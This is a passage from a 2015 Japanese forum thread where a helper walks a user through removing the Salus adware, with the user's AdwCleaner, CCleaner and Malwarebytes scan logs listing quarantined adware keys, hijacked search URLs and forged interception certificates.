キー 削除済み項目 : HKLM\SOFTWARE\{6791A2F3-FC80-475C-A002-C014AF797E9C}
キー 削除済み項目 : HKLM\SOFTWARE\Babylon
キー 削除済み項目 : HKLM\SOFTWARE\DataMngr
キー 削除済み項目 : HKLM\SOFTWARE\GlobalUpdate
キー 削除済み項目 : HKLM\SOFTWARE\Goobzo
キー 削除済み項目 : HKLM\SOFTWARE\Registry Helper
キー 削除済み項目 : HKLM\SOFTWARE\SP Global
キー 削除済み項目 : HKLM\SOFTWARE\SProtector
キー 削除済み項目 : HKLM\SOFTWARE\systweak
キー 削除済み項目 : HKLM\SOFTWARE\Tutorials
キー 削除済み項目 : HKLM\SOFTWARE\Salus
キー 削除済み項目 : HKLM\SOFTWARE\GAMESDESKTOP
キー 削除済み項目 : HKLM\SOFTWARE\Baidu
キー 削除済み項目 : HKLM\SOFTWARE\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}
キー 削除済み項目 : HKLM\SOFTWARE\{12A61307-94CD-4F8E-94BC-918E511FAA81}
キー 削除済み項目 : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VOPackage
キー 削除済み項目 : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Salus
キー 削除済み項目 : [x64] HKLM\SOFTWARE\ShopperPro
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Baidu
キー 削除済み項目 : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1
データ 削除済み項目 : HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings [ProxyOverride] - *.local

***** [ Webブラウザ ] *****

-\\ Internet Explorer v11.0.9600.17631


-\\ Mozilla Firefox v


-\\ Google Chrome v41.0.2272.101

[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://websearch.helpmefindyour.info/?l=1&q={searchTerms}&pid=34&r=2013/04/13&hid=2024807674&lg=EN&cc=JP
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.bigseekpro.com/search/toolbar/hao123/%7B8949DC7C-5E89-31EB-1A92-8BC4DCFF44A0%7D?q={searchTerms}
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.bigseekpro.com/search/toolbar/hao123/%7B8949DC7C-5E89-31EB-1A92-8BC4DCFF44A0%7D?q={searchTerms}
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www1.delta-search.com/?q={searchTerms}&affID=121428&babsrc=SP_ss&mntrId=620FBC5FF49688F9
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.softonic.jp/s/{searchTerms}
[C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Web Data] - 削除済み項目 [Search Provider] : hxxp://www.trovi.com/Results.aspx?gd=&ctid=CT3320136&octid=EB_ORIGINAL_CTID&ISID=A31FBD17-0563-4F0E-96E4-ECC4DB7EE714&SearchSource=58&CUI=&UM=8&UP=SP3EEE2A03-8BE6-449B-B0EB-55DB58E4C083&q={searchTerms}&SSPV=

*************************

AdwCleaner[R0].txt - [12528 bytes] - [21/03/2015 14:52:27]
AdwCleaner[R1].txt - [13477 bytes] - [22/03/2015 22:37:51]
AdwCleaner[S0].txt - [11609 bytes] - [22/03/2015 22:38:41]

########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [11669 bytes] ##########
  • mari
  • 2015/03/22 (Sun) 23:53:08
Re: salusの駆除をお助けください
有効 HKCU:Run AdobeBridge
有効 HKCU:Run ASRockXTU
有効 HKCU:Run CCleaner Monitoring Piriform Ltd "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
有効 HKCU:Run Power2GoExpress8 NA
有効 HKCU:Run zASRockInstantBoot
有効 HKLM:Run AdobeAAMUpdater-1.0 Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
有効 HKLM:Run AdobeCS6ServiceManager Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CLMLServer_For_P2G8 CyberLink "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
有効 HKLM:Run CLVirtualDrive CyberLink Corp. "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
有効 HKLM:Run Creative SB Monitoring Utility Launcher RunDll32 SBAVMonL.dll,SBAVMonitorLauncher
有効 HKLM:Run CsrAudioguiCtrl Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrAudioguiCtrl.exe
有効 HKLM:Run CSRHarmonySkypePlugin Cambridge Silicon Radio Limited C:\Program Files (x86)\CSR\CSR Harmony Wireless Software Stack\CSRHarmonySkypePlugin.exe
有効 HKLM:Run CsrHCRPServer Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrHCRPServer.exe
有効 HKLM:Run CsrSyncMLServer Cambridge Silicon Radio Ltd. D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrSyncMLServer.exe
有効 HKLM:Run DivXMediaServer DivX, LLC C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
有効 HKLM:Run DivXUpdate DivX, LLC "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
有効 HKLM:Run EvtMgr6 Logicool, Inc. C:\Program Files\Logicool\SetPointP\SetPoint.exe /launchGaming
有効 HKLM:Run gmsd_jp_129
有効 HKLM:Run HarmonyUserStartup Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\HarmonyUserStartup.exe
有効 HKLM:Run iTunesHelper Apple Inc. "C:\Program Files\iTunes\iTunesHelper.exe"
有効 HKLM:Run MSC Microsoft Corporation "C:\Program Files\Microsoft Security Client\msseces.exe" -hide -runkey
有効 HKLM:Run NTTE_OSA_AUS 東日本電信電話株式会社 "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
有効 HKLM:Run nwiz NVIDIA Corporation C:\Program Files\NVIDIA Corporation\nview\nwiz.exe /installquiet
有効 HKLM:Run PowerDVD14Agent CyberLink Corp. "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
有効 HKLM:Run QuickTime Task Apple Inc. "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
有効 HKLM:Run Sound Blaster EVO Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
有効 HKLM:Run Sound Blaster Recon3Di Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
有効 HKLM:Run SwitchBoard Adobe Systems Incorporated C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
有効 HKLM:Run TrayApplication Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\TrayApplication.exe
有効 HKLM:Run UpdateP2GoShortCut "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
有効 HKLM:Run UpdatePPShortCut "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
有効 HKLM:Run UpdReg Creative Technology Ltd. C:\Windows\UpdReg.EXE
有効 HKLM:Run vksts Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\vksts.exe
有効 HKLM:Run XFast LAN cFos Software GmbH D:\Program Files\ASRock\XFast LAN\cFosSpeed.exe
有効 HKLM:Run XFastUSB FNet Co., Ltd. "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
有効 Startup Common スタートアップツール.lnk C:\Windows\Installer\{ABF2A330-637C-45FC-A1EF-AAA803FB6FE5}\_2482D56151239B506E3E28.exe
有効 Startup User MagicDisc.lnk MagicISO, Inc. D:\Program Files (x86)\MagicDisc\MagicDisc.exe

有効 Extension 故障かな?と思ったら・・・ 東日本電信電話株式会社 C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
有効 Helper ExplorerWnd Helper IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll
無効 Helper Groove GFS Browser Helper Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
無効 Helper Microsoft アカウント サインイン ヘルパー Microsoft Corp. C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
無効 Helper Office Document Cache Handler Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
無効 Helper Office Document Cache Handler Microsoft Corporation C:\PROGRA~1\MICROS~3\Office14\URLREDIR.DLL
無効 Helper Windows Live ID Sign-in Helper Microsoft Corp. C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll

無効 Extension Freemake Video Converter Plugin 1.0.0 Ellora Assets Corporation default D:\Program Files (x86)\Freemake\Freemake Video Converter\BrowserPlugin\Firefox
無効 Extension Logitech SetPoint 6.5 Logitech Inc. default C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt
有効 Plugin Adobe Acrobat 11.0.2.0 default D:\Program Files (x86)\Adobe\Reader 11.0\Reader\browser\nppdf32.dll
有効 Plugin iTunes Application Detector 1.0.1.1 default D:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Microsoft Office 2010 14.0.4730.1010 Microsoft Corporation default D:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL
有効 Plugin Microsoft Office 2010 14.0.4761.1000 Microsoft Corporation default D:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL
有効 Plugin NVIDIA 3D Vision 7.17.13.3182 NVIDIA Corporation default C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll
有効 Plugin NVIDIA 3D VISION 7.17.13.3182 NVIDIA Corporation default C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll
有効 Plugin QuickTime Plug-in 7.7.4 7.7.4.0 Apple Inc. default D:\Program Files (x86)\QuickTime\Plugins\npqtplugin5.dll
有効 Plugin Shockwave Flash 11.9.900.170 default C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_9_900_170.dll

有効 App Gmail 8 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8_1
有効 App Google ドライブ 6.4 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_1
有効 App Google 検索 0.0.0.20 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.20_1
有効 App YouTube 4.2.7 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_1
有効 Extension Google スプレッドシート 1.1 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0
有効 Extension Google スライド 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0
有効 Extension Google ドキュメント 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0
無効 Extension Logicool SetPoint 6.52.74 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\edaibbiobngpbmeonadpbfafbkimjbdd\6.52.74_0

有効 Task CCleanerSkipUAC Piriform Ltd "C:\Program Files\CCleaner\CCleaner.exe" $(Arg0)
有効 Task GoogleUpdateTaskMachineCore Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task SidebarExecute Microsoft Corporation C:\Program Files\Windows Sidebar\sidebar.exe /addGadget
有効 Task Uninstaller_SkipUac_Tomohiko IObit C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUninstaler.exe /UninstallExplorer
有効 Task {8BFB521B-29F0-44D0-ABF2-A6CE12212065} Microsoft Corporation C:\Windows\system32\pcalua.exe -a C:\PROGRA~2\COMMON~1\INSTAL~1\Driver\9\INTEL3~1\IDriver.exe -c /M{532F6E8A-AF97-41C3-915F-39F718EC07D1} /l1041
  • mari
  • 2015/03/22 (Sun) 23:55:03
Re: salusの駆除をお助けください
迅速なご連絡頂き感謝申し上げます。
早速で恐縮ですが、作業を進めさせて頂き
上記にて、各ログを貼らせて頂きました。

ブラウザの挙動につきましては「salus」は出てこず安定しておりましたが
「Media Downloader is required to download online video」や
「Windows® PC のクリーンナップと修復」といった
意図をしないページへ飛ばされる事象が残っております。

大変申し訳ございませんが、
引き続きご指示を頂けますと幸いです。
  • mari
  • 2015/03/23 (Mon) 00:00:13
次はMBAMでスキャンを
おはようございます。
作業後のログと説明も見せてもらいましたが、いくらか沈静化したもののまだ異常は続いてますね。

ではACはもういいので、導入時の説明に沿って片付けてから、また以下の手順で作業をお願いします。

先の要領でまたCCを起動して、「Windows」タブ内の下記を右クリックから「無効」にしたあと「エントリの削除」してください。
>有効 HKLM:Run gmsd_jp_129
無効にできないときはそのまま削除でもいいです。

次に「スケジュールされたタスク」内の下記も同様に処置です。
>無効 Extension Freemake Video Converter Plugin 1.0.0 Ellora Assets Corporation default D:\Program Files (x86)\Freemake\Freemake Video Converter\BrowserPlugin\Firefox

CCを終了したら以下のアプリを準備してください。
Malwarebytes' Anti-Malware(通称・MBAM)
本家サイト
http://www.malwarebytes.org/

ですが、MBAMは現在安定性や動作でかなり難が出ており、普通に使っても正常にスキャンができないバグまで多発中です。
そのため本家サイトから最新版のダウンロードせず、ここではあえて旧バージョンで作業します。

旧バージョンの説明サイト↓
http://fine.tok2.com/home/heto2/0700SecurityApp/Malwarebytes/0001.htm

以下のURLからMBAMの旧バージョンをダウンロードしてください。
http://www.oldapps.com/malwarebytes.php?old_malwarebytes=12090?download
ファイル直リンです。保存しておいてください。

注)インストール時に日本語でインストールすると文字化けすることがあります。英語でインストール後に日本語化してください。
MBAM起動して「Settings」タブ→「Language」→「Japanese」で日本語化できます。

準備できたらMBAMをインストールとアップデートまでしておいてください。
ただし、ここではまだスキャンはしないように。
なお、ここでMBAMの更新で「プログラム」自体は更新せず、定義だけ更新しておいてください。
プログラム本体を更新すると、バグ多発中の最新版になってしまうので、せっかく旧バージョンでインストールした意味がなくなります。

アップデートまでできたらPCをセーフモードで再起動してから、ATFを使ってゴミファイルの掃除してください。

続いてセーフモードのままMBAMでスキャンしてください。
MBAM起動したら「スキャナー」タブから「フルスキャン」してください。
対象ドライブはCを含めて全ドライブを選択してください。

スキャン対象は全ドライブを選択(チェック)してください。時間はかかりますができるだけ細かくスキャンするためです。
順番はどちらからでもいいですが、なにか検出されたらそれを選択して「remove」(隔離)したあと、再起動を促す表示が出たらそこで一度PCを再起動してください。
もし再起動表示が出ないときは手動で再起動してください。

またMBAMスキャン終了後、「詳細を表示」を押すとその結果が表示されるはずなので、そこで「ログを保存」を押すとそのログが保存可能になります。
そのログをデスクトップにでも保存しておいてください。
このログ確認が特に重要なので、忘れないようにお願いします。

このあとMBAMのログを返信に貼り付けて、それを状態報告とともにレスで見せてください。
  • 悪代官
  • 2015/03/23 (Mon) 05:45:14
Re: salusの駆除をお助けください
こんばんは。いつも迅速なレス有難うございます。
早速ですが、「MBAM」のログをご報告いたします。

Malwarebytes Anti-Malware (試用) 1.75.0.1300
www.malwarebytes.org

定義バージョン: v2015.03.23.03

Windows 7 Service Pack 1 x64 NTFS (セーフモード)
Internet Explorer 11.0.9600.17633
Tomohiko :: TOMOHIKO-PC [管理者]

リアルタイム保護: 無効

2015/03/23 21:48:59
mbam-log-2015-03-23 (21-48-59).txt

スキャンタイプ: フルスキャン (C:\|D:\|E:\|H:\|)
有効なスキャン領域: メモリ | スタートアップ | レジストリ | ファイルシステム | ヒューリスティック/追加アイテムのスキャン  | ヒューリスティック/Shuriken エンジンを使用してスキャン  | 不審なプログラム (PUP) | 不審な変更 (PUM)
無効なスキャン領域: ピア・ツー・ピアプログラム(P2P)
スキャンしたアイテム数: 616553
経過時間: 35 分, 13 秒

メモリプロセスの検出: 0
(悪意のあるアイテムは検出されていません。)

メモリモジュールの検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリキーの検出: 4
HKCU\Software\App Lid-nv-ie (PUP.Optional.AppLid.A) -> 正常に隔離され削除されました。
HKCU\Software\iWebar-nv-ie (PUP.Optional.iWebar.A) -> 正常に隔離され削除されました。
HKCU\Software\SensePlus-nv-ie (PUP.Optional.SensePlus.A) -> 正常に隔離され削除されました。
HKLM\SYSTEM\CurrentControlSet\Services\mwiynzm4ndy1yjz (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。

レジストリ値の検出: 0
(悪意のあるアイテムは検出されていません。)

レジストリデータ項目の検出: 0
(悪意のあるアイテムは検出されていません。)

フォルダの検出: 4
C:\Program Files (x86)\Smwyyntm1ndi1zdz (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\nss (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。

ファイルの検出: 142
C:\Users\Tomohiko\Downloads\UltimateCodecsSetup.exe (PUP.Optional.InstallCore) -> 正常に隔離され削除されました。
D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\AMTLib.dll (PUP.RiskwareTool.CK) -> 正常に隔離され削除されました。
D:\Program Files\Adobe\Adobe Illustrator CS6 (64 Bit)\Support Files\Contents\Windows\amtlib.dll (PUP.RiskwareTool.CK) -> 正常に隔離され削除されました。
D:\Program Files\Adobe\Adobe Media Encoder CS6\amtlib.dll (PUP.RiskwareTool.CK) -> 正常に隔離され削除されました。
D:\Program Files\Adobe\Adobe Photoshop CS6 (64 Bit)\amtlib.dll (PUP.RiskwareTool.CK) -> 正常に隔離され削除されました。
D:\Program Files\Adobe\Adobe Premiere Pro CS6\amtlib.dll (PUP.RiskwareTool.CK) -> 正常に隔離され削除されました。
H:\00\@\@Program File\アプリ\CPRMDecrypter_set\CPRMDecrypter_set.zip (HackTool.Agent) -> 正常に隔離され削除されました。
H:\00\@\@Program File\アプリ\CPRMDecrypter_set\CPRMDecrypter\cprmgetkey.exe (HackTool.Agent) -> 正常に隔離され削除されました。
H:\00\@\others\圧縮ファイル\アプリ\@dobe\[アプリ]Adobe Photoshop CS4 Extended 日本語版+keygen+patch\[アプリ]Adobe Photoshop CS4 Extended 日本語版+keygen+patch\keygen\keygen.exe (RiskWare.Tool.CK) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz.exe (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz.log (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\settings.txt (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\104.154.78.95_443.x (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\130.211.120.135_443.x (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-a597ec60fb32125e4c6505f50befd8cb.adpdx.com-ef90a9f894c699390883b81f5d12d1a16aadc9fe#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-a597ec60fb32125e4c6505f50befd8cb.adpdx.com-ef90a9f894c699390883b81f5d12d1a16aadc9fe#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-accounts.google.com-d9ac791bf143bc25cfecccfd2700cdb9eaf7de8c#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-accounts.google.com-d9ac791bf143bc25cfecccfd2700cdb9eaf7de8c#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-accounts.youtube.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-accounts.youtube.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-aihdownload.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-aihdownload.adobe.com-e0538adaa1d7c4d06a7e5a163a23ff776cd7149e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-ajax.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-ajax.googleapis.com-91aa4e4cb555911140cf8f7ced0879830597d922#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-alt2-safebrowsing.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-alt2-safebrowsing.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-apis.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-apis.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-app.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-app.eshopcomp.com-a40bec501da2b59ca97e4c73ce77a2d0a8f82c3e#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-cdn.adk2.co-4bfc3da8c4d6274f4ca3d0b835a582e04ec99997#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-cdn.adk2.co-4bfc3da8c4d6274f4ca3d0b835a582e04ec99997#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-cdn.adpdx.com-ef90a9f894c699390883b81f5d12d1a16aadc9fe#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-cdn.adpdx.com-ef90a9f894c699390883b81f5d12d1a16aadc9fe#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-chrome.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-chrome.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients1.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients1.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients2.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients2.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients3.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients3.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients4.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients4.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients5.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-clients5.google.com-095a235ac2e3b54d2a6bd6691c87b0ea4b11a5ef#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-d2nq0f8d9ofdwv.cloudfront.net-f34def817618df3f2894a48ed03caeb1b1661cbe#child.cer (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
C:\Program Files (x86)\Smwyyntm1ndi1zdz\mwiynzm4ndy1yjz\SSL\Salus CA-d2nq0f8d9ofdwv.cloudfront.net-f34def817618df3f2894a48ed03caeb1b1661cbe#child.pvk (PUP.Optional.Salus.A) -> 正常に隔離され削除されました。
